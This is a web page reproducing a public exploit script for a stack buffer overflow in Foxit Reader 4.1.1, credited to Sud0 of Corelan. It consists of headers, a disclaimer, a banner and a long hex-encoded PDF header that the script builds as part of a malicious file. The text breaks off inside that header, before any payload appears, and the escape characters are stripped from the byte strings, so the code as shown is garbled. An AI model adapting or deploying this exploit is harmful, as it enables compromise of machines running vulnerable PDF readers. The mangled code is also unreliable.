[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Foxit Reader 4.1.1 Stack Buffer Overflow Exploit
# Published : 2010-11-14
# Author : Sud0
# Previous Title : Realtek Audio Control Panel 1.0.1.65 Exploit
# Next Title : Free WMA MP3 Converter 1.1 Buffer Overflow Exploit (SEH)
#***********************************************************************************
# Exploit Title : Foxit 4.1.1
# Date : 13/11/2010
# Author : Sud0
# Bug found by : dookie
# Original POC : https://www.exploit-db.com/exploits/15514/
# Software Link : http://www.foxitsoftware.com/downloads/index.php
# Version : 4.1.1
# OS : Windows
# Tested on : XP SP3 En (VirtualBox)
# Type of vuln : EIP / SEH
# Thanks to my wife for her support
# Greetz to: Corelan Security Team
# Greetz to: dookie for finding the bug
# Thanks to offsec for the Exploit Week End challenge
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
# writeup : http://www.corelan.be:8800/index.php/2010/11/13/offensive-security-exploit-weekend/
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
# Corelan does not want anyone to use this script
# for malicious and/or illegal purposes
# Corelan cannot be held responsible for any illegal use.
#
# Note : you are not allowed to edit/modify this code.
# If you do, Corelan cannot be held responsible for any damages this may cause.
#***********************************************************************************
#code :
print "|------------------------------------------------------------------|"
print "| __ __ |"
print "| _________ ________ / /___ _____ / /____ ____ _____ ___ |"
print "| / ___/ __ / ___/ _ / / __ `/ __ / __/ _ / __ `/ __ `__ |"
print "| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |"
print "| ___/____/_/ ___/_/__,_/_/ /_/ __/___/__,_/_/ /_/ /_/ |"
print "| |"
print "| http://www.corelan.be:8800 |"
print "| security@corelan.be |"
print "| |"
print "|-------------------------------------------------[ EIP Hunters ]--|"
print "[+] Exploit for Foxit reader 4.1.1 n";
# BIG header, i took a long header from the contest
header ="x25x50x44x46x2Dx31x2Ex34x0Dx0Ax25xE2xE3xCFxD3x0D"
header +="x0Ax38x31x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx4Cx69"
header +="x6Ex65x61x72x69x7Ax65x64x20x31x2Fx4Cx20x32x31x33"
header +="x37x35x36x2Fx4Fx20x38x33x2Fx45x20x31x34x31x36x33"
header +="x31x2Fx4Ex20x32x31x2Fx54x20x32x31x32x30x38x39x2F"
header +="x48x20x5Bx20x31x32x31x36x20x36x39x39x5Dx3Ex3Ex0D"
header +="x0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax20x20x20x20x20x20x20"
header +="x20x20x20x20x20x20x0Dx0Ax78x72x65x66x0Dx0Ax38x31"
header +="x20x34x36x0Dx0Ax30x30x30x30x30x30x30x30x31x36x20"
header +="x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30x30x30x30x31"
header +="x39x31x35x20x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30"
header +="x30x30x30x32x30x38x34x20x30x30x30x30x30x20x6Ex0D"
header +="x0Ax30x30x30x30x30x30x32x33x31x31x20x30x30x30x30"
header +="x30x20x6Ex0Dx0Ax30x30x30x30x30x30x32x33x36x33x20"
header +="x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30x30x30x30x32"
header +="x34x37x30x20x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30"
header +="x30x30x32x33x37x37x30x20x30x30x30x30x30x20x6Ex0D"
header +="x0Ax30x30x30x30x30x32x33x39x35x37x20x30x30x30x30"
header +="x30x20x6Ex0Dx0Ax30x30x30x30x30x32x34x35x30x33x20"
header +="x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30x30x30x32x34"
header +="x38x38x33x20x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30"
header +="x30x30x34x38x36x38x38x20x30x30x30x30x30x20x6Ex0D"
header +="x0Ax30x30x30x30x30x34x38x38x37x30x20x30x30x30x30"
header +="x30x20x6Ex0Dx0Ax30x30x30x30x30x34x39x34x39x30x20"
header +="x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30x30x30x34x39"
header +="x39x34x32x20x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30"
header +="x30x30x35x30x34x38x31x20x30x30x30x30x30x20x6Ex0D"
header +="x0Ax30x30x30x30x30x35x30x39x33x34x20x30x30x30x30"
header +="x30x20x6Ex0Dx0Ax30x30x30x30x30x35x31x33x37x30x20"
header +="x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30x30x30x35x31"
header +="x38x33x38x20x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30"
header +="x30x30x35x32x32x39x30x20x30x30x30x30x30x20x6Ex0D"
header +="x0Ax30x30x30x30x30x35x32x38x35x37x20x30x30x30x30"
header +="x30x20x6Ex0Dx0Ax30x30x30x30x30x35x33x33x31x34x20"
header +="x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30x30x30x35x33"
header +="x35x32x36x20x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30"
header +="x30x30x37x32x36x35x39x20x30x30x30x30x30x20x6Ex0D"
header +="x0Ax30x30x30x30x30x37x32x38x35x33x20x30x30x30x30"
header +="x30x20x6Ex0Dx0Ax30x30x30x30x30x37x33x34x30x31x20"
header +="x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30x30x30x37x33"
header +="x37x38x36x20x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30"
header +="x30x30x37x35x32x32x38x20x30x30x30x30x30x20x6Ex0D"
header +="x0Ax30x30x30x30x30x37x35x34x31x33x20x30x30x30x30"
header +="x30x20x6Ex0Dx0Ax30x30x30x30x30x37x35x37x30x35x20"
header +="x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30x30x30x37x35"
header +="x38x36x31x20x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30"
header +="x30x30x37x36x30x35x39x20x30x30x30x30x30x20x6Ex0D"
header +="x0Ax30x30x30x30x30x37x36x35x36x35x20x30x30x30x30"
header +="x30x20x6Ex0Dx0Ax30x30x30x30x30x37x36x39x31x34x20"
header +="x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30x30x30x39x32"
header +="x31x35x32x20x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30"
header +="x30x30x39x32x33x34x32x20x30x30x30x30x30x20x6Ex0D"
header +="x0Ax30x30x30x30x30x39x33x30x31x33x20x30x30x30x30"
header +="x30x20x6Ex0Dx0Ax30x30x30x30x30x39x33x35x32x32x20"
header +="x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30x30x31x30x36"
header +="x33x37x31x20x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30"
header +="x30x31x30x36x35x36x36x20x30x30x30x30x30x20x6Ex0D"
header +="x0Ax30x30x30x30x31x30x37x31x38x31x20x30x30x30x30"
header +="x30x20x6Ex0Dx0Ax30x30x30x30x31x30x37x36x33x35x20"
header +="x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30x30x31x31x39"
header +="x35x38x36x20x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30"
header +="x30x31x31x39x37x38x37x20x30x30x30x30x30x20x6Ex0D"
header +="x0Ax30x30x30x30x31x32x30x33x30x36x20x30x30x30x30"
header +="x30x20x6Ex0Dx0Ax30x30x30x30x31x32x30x36x37x39x20"
header +="x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30x30x30x30x31"
header +="x32x31x36x20x30x30x30x30x30x20x6Ex0Dx0Ax74x72x61"
header +="x69x6Cx65x72x0Dx0Ax3Cx3Cx2Fx53x69x7Ax65x20x31x32"
header +="x37x2Fx50x72x65x76x20x32x31x32x30x37x38x2Fx52x6F"
header +="x6Fx74x20x38x32x20x30x20x52x2Fx49x6Ex66x6Fx20x38"
header +="x30x20x30x20x52x2Fx49x44x5Bx3Cx38x44x36x41x44x44"
header +="x32x41x31x45x30x36x35x46x38x32x45x31x46x43x32x34"
header +="x44x31x30x31x33x32x32x46x44x45x3Ex3Cx30x46x30x33"
header +="x32x41x42x33x42x30x36x39x43x38x34x30x38x36x37x42"
header +="x41x32x39x45x42x42x41x36x41x44x32x30x3Ex5Dx3Ex3E"
header +="x0Dx0Ax73x74x61x72x74x78x72x65x66x0Dx0Ax30x0Dx0A"
header +="x25x25x45x4Fx46x0Dx0Ax20x20x20x20x20x20x20x20x20"
header +="x20x20x0Dx0Ax38x32x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3C"
header +="x2Fx56x69x65x77x65x72x50x72x65x66x65x72x65x6Ex63"
header +="x65x73x3Cx3Cx2Fx44x69x73x70x6Cx61x79x44x6Fx63x54"
header +="x69x74x6Cx65x20x74x72x75x65x3Ex3Ex2Fx4Fx75x74x6C"
header +="x69x6Ex65x73x20x35x34x20x30x20x52x2Fx4Dx65x74x61"
header +="x64x61x74x61x20x37x39x20x30x20x52x2Fx50x61x67x65"
header +="x73x20x37x38x20x30x20x52x2Fx4Fx70x65x6Ex41x63x74"
header +="x69x6Fx6Ex5Bx38x33x20x30x20x52x2Fx58x59x5Ax20x6E"
header +="x75x6Cx6Cx20x6Ex75x6Cx6Cx20x30x5Dx2Fx54x79x70x65"
header +="x2Fx43x61x74x61x6Cx6Fx67x2Fx4Cx61x6Ex67x28x65x6E"
header +="x2Dx55x53x29x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0A"
header +="x38x33x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx43x72x6F"
header +="x70x42x6Fx78x5Bx30x20x30x20x36x31x32x20x37x39x32"
header +="x5Dx2Fx50x61x72x65x6Ex74x20x37x38x20x30x20x52x2F"
header +="x43x6Fx6Ex74x65x6Ex74x73x5Bx39x34x20x30x20x52x20"
header +="x39x35x20x30x20x52x20x39x36x20x30x20x52x20x39x37"
header +="x20x30x20x52x20x39x38x20x30x20x52x20x39x39x20x30"
header +="x20x52x20x31x30x30x20x30x20x52x20x31x30x31x20x30"
header +="x20x52x5Dx2Fx52x6Fx74x61x74x65x20x30x2Fx47x72x6F"
header +="x75x70x3Cx3Cx2Fx49x20x74x72x75x65x2Fx43x53x2Fx44"
header +="x65x76x69x63x65x52x47x42x2Fx53x2Fx54x72x61x6Ex73"
header +="x70x61x72x65x6Ex63x79x3Ex3Ex2Fx4Dx65x64x69x61x42"
header +="x6Fx78x5Bx30x20x30x20x36x31x32x20x37x39x32x5Dx2F"
header +="x52x65x73x6Fx75x72x63x65x73x20x38x34x20x30x20x52"
header +="x2Fx54x79x70x65x2Fx50x61x67x65x3Ex3Ex0Dx0Ax65x6E"
header +="x64x6Fx62x6Ax0Dx0Ax38x34x20x30x20x6Fx62x6Ax0Dx0A"
header +="x3Cx3Cx2Fx46x6Fx6Ex74x20x38x35x20x30x20x52x2Fx50"
header +="x72x6Fx63x53x65x74x5Bx2Fx50x44x46x2Fx54x65x78x74"
header +="x5Dx3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax38x35x20"
header +="x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx46x31x20x38x39x20"
header +="x30x20x52x2Fx46x32x20x39x33x20x30x20x52x2Fx46x33"
header +="x20x31x30x35x20x30x20x52x2Fx46x34x20x31x30x39x20"
header +="x30x20x52x2Fx46x35x20x31x31x32x20x30x20x52x2Fx46"
header +="x36x20x31x31x36x20x30x20x52x2Fx46x37x20x31x32x30"
header +="x20x30x20x52x2Fx46x38x20x31x32x34x20x30x20x52x3E"
header +="x3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax38x37x20x30x20"
header +="x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx53x74x65x6Dx56x20x38x30"
header +="x2Fx46x6Fx6Ex74x4Ex61x6Dx65x2Fx42x41x41x41x41x41"
header +="x2Bx41x72x69x61x6Cx2Dx42x6Fx6Cx64x4Dx54x2Fx46x6F"
header +="x6Ex74x46x69x6Cx65x32x20x38x36x20x30x20x52x2Fx46"
header +="x6Cx61x67x73x20x34x2Fx44x65x73x63x65x6Ex74x20x2D"
header +="x32x31x31x2Fx46x6Fx6Ex74x42x42x6Fx78x5Bx2Dx36x32"
header +="x37x20x2Dx33x37x36x20x32x30x33x32x20x31x30x34x37"
header +="x5Dx2Fx41x73x63x65x6Ex74x20x39x30x35x2Fx43x61x70"
header +="x48x65x69x67x68x74x20x31x30x34x37x2Fx54x79x70x65"
header +="x2Fx46x6Fx6Ex74x44x65x73x63x72x69x70x74x6Fx72x2F"
header +="x49x74x61x6Cx69x63x41x6Ex67x6Cx65x20x30x3Ex3Ex0D"
header +="x0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax38x39x20x30x20x6Fx62"
header +="x6Ax0Dx0Ax3Cx3Cx2Fx53x75x62x74x79x70x65x2Fx54x72"
header +="x75x65x54x79x70x65x2Fx46x6Fx6Ex74x44x65x73x63x72"
header +="x69x70x74x6Fx72x20x38x37x20x30x20x52x2Fx4Cx61x73"
header +="x74x43x68x61x72x20x35x37x2Fx57x69x64x74x68x73x5B"
header +="x37x35x30x20x36x36x36x20x37x32x32x20x36x36x36x20"
header +="x36x31x30x20x37x37x37x20x37x32x32x20x32x37x37x20"
header +="x37x32x32x20x36x36x36x20x32x37x37x20x37x32x32x20"
header +="x36x36x36x20x33x33x33x20x36x31x30x20x37x32x32x20"
header +="x36x31x30x20x36x36x36x20x36x31x30x20x35x35x36x20"
header +="x33x33x33x20x33x38x39x20x35x35x36x20x35x35x36x20"
header +="x35x35x36x20x36x31x30x20x36x31x30x20x37x37x37x20"
header +="x32x37x37x20x35x35x36x20x36x31x30x20x36x31x30x20"
header +="x38x38x39x20x37x32x32x20x35x35x36x20x33x33x33x20"
header +="x37x32x32x20x35x35x36x20x36x31x30x20x32x37x37x20"
header +="x35x35x36x20x38x33x33x20x33x33x33x20x35x35x36x20"
header +="x36x31x30x20x36x31x30x20x36x31x30x20x32x37x37x20"
header +="x35x35x36x20x35x35x36x20x37x37x37x20x35x35x36x20"
header +="x35x35x36x20x33x33x33x20x33x33x33x20x32x37x37x20"
header +="x35x35x36x20x35x35x36x5Dx2Fx42x61x73x65x46x6Fx6E"
header +="x74x2Fx42x41x41x41x41x41x2Bx41x72x69x61x6Cx2Dx42"
header +="x6Fx6Cx64x4Dx54x2Fx46x69x72x73x74x43x68x61x72x20"
header +="x30x2Fx54x6Fx55x6Ex69x63x6Fx64x65x20x38x38x20x30"
header +="x20x52x2Fx54x79x70x65x2Fx46x6Fx6Ex74x3Ex3Ex0Dx0A"
header +="x65x6Ex64x6Fx62x6Ax0Dx0Ax39x31x20x30x20x6Fx62x6A"
header +="x0Dx0Ax3Cx3Cx2Fx53x74x65x6Dx56x20x38x30x2Fx46x6F"
header +="x6Ex74x4Ex61x6Dx65x2Fx43x41x41x41x41x41x2Bx41x72"
header +="x69x61x6Cx4Dx54x2Fx46x6Fx6Ex74x46x69x6Cx65x32x20"
header +="x39x30x20x30x20x52x2Fx46x6Cx61x67x73x20x34x2Fx44"
header +="x65x73x63x65x6Ex74x20x2Dx32x31x31x2Fx46x6Fx6Ex74"
header +="x42x42x6Fx78x5Bx2Dx36x36x34x20x2Dx33x32x34x20x32"
header +="x30x32x37x20x31x30x33x37x5Dx2Fx41x73x63x65x6Ex74"
header +="x20x39x30x35x2Fx43x61x70x48x65x69x67x68x74x20x31"
header +="x30x33x37x2Fx54x79x70x65x2Fx46x6Fx6Ex74x44x65x73"
header +="x63x72x69x70x74x6Fx72x2Fx49x74x61x6Cx69x63x41x6E"
header +="x67x6Cx65x20x30x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0D"
header +="x0Ax39x33x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx53x75"
header +="x62x74x79x70x65x2Fx54x72x75x65x54x79x70x65x2Fx46"
header +="x6Fx6Ex74x44x65x73x63x72x69x70x74x6Fx72x20x39x31"
header +="x20x30x20x52x2Fx4Cx61x73x74x43x68x61x72x20x37x36"
header +="x2Fx57x69x64x74x68x73x5Bx37x35x30x20x36x36x36x20"
header +="x32x32x32x20x35x35x36x20x35x30x30x20x35x30x30x20"
header +="x32x37x37x20x37x32x32x20x32x37x37x20x37x32x32x20"
header +="x36x36x36x20x36x36x36x20x35x35x36x20x35x35x36x20"
header +="x35x35x36x20x39x34x33x20x35x35x36x20x32x32x32x20"
header +="x35x35x36x20x35x35x36x20x33x33x33x20x35x35x36x20"
header +="x35x35x36x20x35x35x36x20x35x35x36x20x35x30x30x20"
header +="x35x30x30x20x35x35x36x20x35x30x30x20x32x37x37x20"
header +="x37x32x32x20x33x33x33x20x38x33x33x20x33x33x33x20"
header +="x37x37x37x20x36x36x36x20x33x33x33x20x32x37x37x20"
header +="x35x35x36x20x37x32x32x20x35x35x36x20x32x37x37x20"
header +="x35x30x30x20x35x30x30x20x37x32x32x20x36x36x36x20"
header +="x36x31x30x20x37x32x32x20x36x36x36x20x35x35x36x20"
header +="x37x32x32x20x32x37x37x20x32x37x37x20x35x35x36x20"
header +="x35x35x36x20x35x35x36x20x38x33x33x20x35x35x36x20"
header +="x35x35x36x20x35x35x36x20x32x32x32x20x32x37x37x20"
header +="x32x37x37x20x35x35x36x20x33x35x34x20x37x37x37x20"
header +="x36x31x30x20x32x37x37x20x33x33x33x20x33x33x33x20"
header +="x35x35x36x20x31x39x30x20x31x30x31x35x20x36x36x36"
header +="x20x38x38x39x20x35x35x36x20x35x30x30x5Dx2Fx42x61"
header +="x73x65x46x6Fx6Ex74x2Fx43x41x41x41x41x41x2Bx41x72"
header +="x69x61x6Cx4Dx54x2Fx46x69x72x73x74x43x68x61x72x20"
header +="x30x2Fx54x6Fx55x6Ex69x63x6Fx64x65x20x39x32x20x30"
header +="x20x52x2Fx54x79x70x65x2Fx46x6Fx6Ex74x3Ex3Ex0Dx0A"
header +="x65x6Ex64x6Fx62x6Ax0Dx0Ax31x30x33x20x30x20x6Fx62"
header +="x6Ax0Dx0Ax3Cx3Cx2Fx53x74x65x6Dx56x20x38x30x2Fx46"
header +="x6Fx6Ex74x4Ex61x6Dx65x2Fx44x41x41x41x41x41x2Bx41"
header +="x72x69x61x6Cx2Dx49x74x61x6Cx69x63x4Dx54x2Fx46x6F"
header +="x6Ex74x46x69x6Cx65x32x20x31x30x32x20x30x20x52x2F"
header +="x46x6Cx61x67x73x20x36x38x2Fx44x65x73x63x65x6Ex74"
header +="x20x2Dx32x31x31x2Fx46x6Fx6Ex74x42x42x6Fx78x5Bx2D"
header +="x35x31x37x20x2Dx33x32x34x20x31x30x38x30x20x31x30"
header +="x32x34x5Dx2Fx41x73x63x65x6Ex74x20x39x30x35x2Fx43"
header +="x61x70x48x65x69x67x68x74x20x31x30x32x34x2Fx54x79"
header +="x70x65x2Fx46x6Fx6Ex74x44x65x73x63x72x69x70x74x6F"
header +="x72x2Fx49x74x61x6Cx69x63x41x6Ex67x6Cx65x20x2Dx33"
header +="x30x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax31x30x35"
header +="x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx53x75x62x74x79"
header +="x70x65x2Fx54x72x75x65x54x79x70x65x2Fx46x6Fx6Ex74"
header +="x44x65x73x63x72x69x70x74x6Fx72x20x31x30x33x20x30"
header +="x20x52x2Fx4Cx61x73x74x43x68x61x72x20x35x37x2Fx57"
header +="x69x64x74x68x73x5Bx37x35x30x20x35x30x30x20x35x35"
header +="x36x20x32x37x37x20x35x35x36x20x32x32x32x20x35x35"
header +="x36x20x33x33x33x20x35x35x36x20x33x33x33x20x32x37"
header +="x37x20x32x37x37x20x35x30x30x20x38x33x33x20x33x35"
header +="x34x20x32x37x37x20x35x35x36x20x35x35x36x20x35x35"
header +="x36x20x33x33x33x20x35x35x36x20x35x30x30x20x35x35"
header +="x36x20x32x32x32x20x35x35x36x20x35x35x36x20x33x33"
header +="x33x20x35x30x30x20x32x37x37x20x33x33x33x20x32x32"
header +="x32x20x35x30x30x20x36x36x36x20x35x30x30x20x38x33"
header +="x33x20x35x30x30x20x36x36x36x20x35x35x36x20x32x37"
header +="x37x20x36x36x36x20x36x36x36x20x32x37x37x20x35x35"
header +="x36x20x35x35x36x20x35x35x36x20x35x35x36x20x37x32"
header +="x32x20x35x35x36x20x35x35x36x20x35x35x36x20x37x32"
header +="x32x20x37x32x32x20x36x36x36x20x36x36x36x20x37x32"
header +="x32x20x36x36x36x20x35x35x36x20x35x35x36x5Dx2Fx42"
header +="x61x73x65x46x6Fx6Ex74x2Fx44x41x41x41x41x41x2Bx41"
header +="x72x69x61x6Cx2Dx49x74x61x6Cx69x63x4Dx54x2Fx46x69"
header +="x72x73x74x43x68x61x72x20x30x2Fx54x6Fx55x6Ex69x63"
header +="x6Fx64x65x20x31x30x34x20x30x20x52x2Fx54x79x70x65"
header +="x2Fx46x6Fx6Ex74x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0D"
header +="x0Ax31x30x37x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx53"
header +="x74x65x6Dx56x20x38x30x2Fx46x6Fx6Ex74x4Ex61x6Dx65"
header +="x2Fx45x41x41x41x41x41x2Bx4Fx70x65x6Ex53x79x6Dx62"
header +="x6Fx6Cx2Fx46x6Fx6Ex74x46x69x6Cx65x32x20x31x30x36"
header +="x20x30x20x52x2Fx46x6Cx61x67x73x20x34x2Fx44x65x73"
header +="x63x65x6Ex74x20x2Dx32x30x30x2Fx46x6Fx6Ex74x42x42"
header +="x6Fx78x5Bx2Dx31x37x39x20x2Dx33x31x32x20x31x30x38"
header +="x32x20x39x31x36x5Dx2Fx41x73x63x65x6Ex74x20x37x39"
header +="x39x2Fx43x61x70x48x65x69x67x68x74x20x39x31x36x2F"
header +="x54x79x70x65x2Fx46x6Fx6Ex74x44x65x73x63x72x69x70"
header +="x74x6Fx72x2Fx49x74x61x6Cx69x63x41x6Ex67x6Cx65x20"
header +="x30x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax31x30x39"
header +="x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx53x75x62x74x79"
header +="x70x65x2Fx54x72x75x65x54x79x70x65x2Fx46x6Fx6Ex74"
header +="x44x65x73x63x72x69x70x74x6Fx72x20x31x30x37x20x30"
header +="x20x52x2Fx4Cx61x73x74x43x68x61x72x20x31x2Fx57x69"
header +="x64x74x68x73x5Bx35x30x30x20x33x35x35x5Dx2Fx42x61"
header +="x73x65x46x6Fx6Ex74x2Fx45x41x41x41x41x41x2Bx4Fx70"
header +="x65x6Ex53x79x6Dx62x6Fx6Cx2Fx46x69x72x73x74x43x68"
header +="x61x72x20x30x2Fx54x6Fx55x6Ex69x63x6Fx64x65x20x31"
header +="x30x38x20x30x20x52x2Fx54x79x70x65x2Fx46x6Fx6Ex74"
header +="x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax31x31x30x20"
header +="x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx53x74x65x6Dx56x20"
header +="x38x30x2Fx46x6Fx6Ex74x4Ex61x6Dx65x2Fx46x41x41x41"
header +="x41x41x2Bx41x72x69x61x6Cx2Dx42x6Fx6Cx64x49x74x61"
header +="x6Cx69x63x4Dx54x2Fx46x6Fx6Ex74x46x69x6Cx65x32x20"
header +="x31x32x35x20x30x20x52x2Fx46x6Cx61x67x73x20x36x38"
header +="x2Fx44x65x73x63x65x6Ex74x20x2Dx32x31x31x2Fx46x6F"
header +="x6Ex74x42x42x6Fx78x5Bx2Dx35x35x39x20x2Dx33x37x36"
header +="x20x31x31x35x35x20x31x30x33x30x5Dx2Fx41x73x63x65"
header +="x6Ex74x20x39x30x35x2Fx43x61x70x48x65x69x67x68x74"
header +="x20x31x30x33x30x2Fx54x79x70x65x2Fx46x6Fx6Ex74x44"
header +="x65x73x63x72x69x70x74x6Fx72x2Fx49x74x61x6Cx69x63"
header +="x41x6Ex67x6Cx65x20x2Dx33x30x3Ex3Ex0Dx0Ax65x6Ex64"
header +="x6Fx62x6Ax0Dx0Ax31x31x32x20x30x20x6Fx62x6Ax0Dx0A"
header +="x3Cx3Cx2Fx53x75x62x74x79x70x65x2Fx54x72x75x65x54"
header +="x79x70x65x2Fx46x6Fx6Ex74x44x65x73x63x72x69x70x74"
header +="x6Fx72x20x31x31x30x20x30x20x52x2Fx4Cx61x73x74x43"
header +="x68x61x72x20x34x37x2Fx57x69x64x74x68x73x5Bx37x35"
header +="x30x20x32x37x37x20x35x35x36x20x32x37x37x20x35x35"
header +="x36x20x36x31x30x20x36x31x30x20x35x35x36x20x35x35"
header +="x36x20x35x35x36x20x38x38x39x20x36x31x30x20x32x37"
header +="x37x20x35x35x36x20x36x31x30x20x36x31x30x20x33x38"
header +="x39x20x36x31x30x20x36x31x30x20x36x31x30x20x37x32"
header +="x32x20x35x35x36x20x33x33x33x20x35x35x36x20x33x33"
header +="x33x20x32x37x37x20x35x35x36x20x36x31x30x20x35x35"
header +="x36x20x36x36x36x20x33x33x33x20x35x35x36x20x35x35"
header +="x36x20x33x33x33x20x33x33x33x20x32x37x37x20x35x35"
header +="x36x20x37x32x32x20x35x35x36x20x37x32x32x20x37x37"
header +="x37x20x35x30x30x20x35x30x30x20x37x32x32x20x37x32"
header +="x32x20x36x31x30x20x36x36x36x20x37x37x37x5Dx2Fx42"
header +="x61x73x65x46x6Fx6Ex74x2Fx46x41x41x41x41x41x2Bx41"
header +="x72x69x61x6Cx2Dx42x6Fx6Cx64x49x74x61x6Cx69x63x4D"
header +="x54x2Fx46x69x72x73x74x43x68x61x72x20x30x2Fx54x6F"
header +="x55x6Ex69x63x6Fx64x65x20x31x31x31x20x30x20x52x2F"
header +="x54x79x70x65x2Fx46x6Fx6Ex74x3Ex3Ex0Dx0Ax65x6Ex64"
header +="x6Fx62x6Ax0Dx0Ax31x31x34x20x30x20x6Fx62x6Ax0Dx0A"
header +="x3Cx3Cx2Fx53x74x65x6Dx56x20x38x30x2Fx46x6Fx6Ex74"
header +="x4Ex61x6Dx65x2Fx47x41x41x41x41x41x2Bx44x65x6Ax61"
header +="x56x75x53x61x6Ex73x4Dx6Fx6Ex6Fx2Fx46x6Fx6Ex74x46"
header +="x69x6Cx65x32x20x31x31x33x20x30x20x52x2Fx46x6Cx61"
header +="x67x73x20x35x2Fx44x65x73x63x65x6Ex74x20x2Dx32x33"
header +="x35x2Fx46x6Fx6Ex74x42x42x6Fx78x5Bx2Dx35x35x37x20"
header +="x2Dx33x37x34x20x37x31x36x20x31x30x34x31x5Dx2Fx41"
header +="x73x63x65x6Ex74x20x39x32x38x2Fx43x61x70x48x65x69"
header +="x67x68x74x20x31x30x34x31x2Fx54x79x70x65x2Fx46x6F"
header +="x6Ex74x44x65x73x63x72x69x70x74x6Fx72x2Fx49x74x61"
header +="x6Cx69x63x41x6Ex67x6Cx65x20x30x3Ex3Ex0Dx0Ax65x6E"
header +="x64x6Fx62x6Ax0Dx0Ax31x31x36x20x30x20x6Fx62x6Ax0D"
header +="x0Ax3Cx3Cx2Fx53x75x62x74x79x70x65x2Fx54x72x75x65"
header +="x54x79x70x65x2Fx46x6Fx6Ex74x44x65x73x63x72x69x70"
header +="x74x6Fx72x20x31x31x34x20x30x20x52x2Fx4Cx61x73x74"
header +="x43x68x61x72x20x38x38x2Fx57x69x64x74x68x73x5Bx36"
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36"
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36"
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36"
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36"
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36"
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36"
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36"
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36"
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36"
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36"
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36"
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36"
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36"
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36"
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36"
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36"
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36"
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36"
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36"
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36"
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36"
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36"
header +="x30x32x5Dx2Fx42x61x73x65x46x6Fx6Ex74x2Fx47x41x41"
header +="x41x41x41x2Bx44x65x6Ax61x56x75x53x61x6Ex73x4Dx6F"
header +="x6Ex6Fx2Fx46x69x72x73x74x43x68x61x72x20x30x2Fx54"
header +="x6Fx55x6Ex69x63x6Fx64x65x20x31x31x35x20x30x20x52"
header +="x2Fx54x79x70x65x2Fx46x6Fx6Ex74x3Ex3Ex0Dx0Ax65x6E"
header +="x64x6Fx62x6Ax0Dx0Ax31x31x38x20x30x20x6Fx62x6Ax0D"
